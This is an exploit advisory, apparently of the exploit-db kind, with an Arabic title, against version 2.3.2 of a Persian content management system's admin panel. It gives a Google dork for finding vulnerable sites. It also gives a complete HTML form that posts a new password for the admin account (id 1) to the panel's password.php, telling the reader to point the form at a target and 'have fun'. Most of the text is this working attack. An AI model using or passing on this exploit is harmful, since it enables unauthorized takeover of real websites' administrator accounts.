ثغرة في سكربت إيراني

/////////////////////////////////////////////////////////
Script:پنل مديريت سيستم مديريت محتواي
Version:2.3.2
////////////////////////////////////////////////////////
######################################################

[~]Author:01001_coder

[~]Date:1433-8-25

[~]Type:admin change password

[~]Path:http://localhost.com/fa/control-panel/password.php

[~]Contact:01001coder@gmail.com

[~]google-Dork:inurl:fa/control-panel/login.php

#########################################3##############
What I do...?
1-you must know the evil path

2-go to your Notpad and svae this code .

##the code
<form action="http://localhost.com/fa/control-panel/password.php?" method="post" id="form1">
<table class="table_default">
<tr >
<th align="right" ><strong>نام کاربري سيستم :</strong></th>
<td><input style="direction:ltr" type="text" name="username" value="admin" /></td>
</tr>
<tr >
<th width="207" align="right" ><strong>رمز عبور جديد : </strong></th>
<td width="516"><span id="sprypassword2">
<input style="direction:ltr" id="password" type="password" name="password" placeholder="********" />
<span class="passwordRequiredMsg">لطفا رمز عبور را وارد نماييد</span></span></td>
</tr>
<tr >
<th align="right" ><strong>تکرار رمز عبور جديد : </strong></th>
<td><label for="valid"></label>
<span id="spryconfirm2">
<input style="direction:ltr" name="valid" type="password" id="valid" placeholder="********" />
<span class="confirmInvalidMsg">رمز عبور هاي وارد شده با هم يکسان نيستند.</span><span class="confirmRequiredMsg">لطفا رمز عبور را وارد نماييد</span></span></td>
</tr>
<tr >
<td colspan="2" align="right"><input style="width:100%; font-family:tahoma;font-size:9pt;padding:5px 5px 5px 5px" type="submit" value="تغيير رمز عبور" /></td>
</tr>
</table>
<input type="hidden" name="id" value="1" />
<input type="hidden" name="MM_update" value="form1" />
<script type="text/javascript">
var sprypassword2 = new Spry.Widget.ValidationPassword("sprypassword2");
var spryconfirm2 = new Spry.Widget.ValidationConfirm("spryconfirm2", "password");
</script>
</form>
##end code

3-change the form action.

4-just have fun ^_^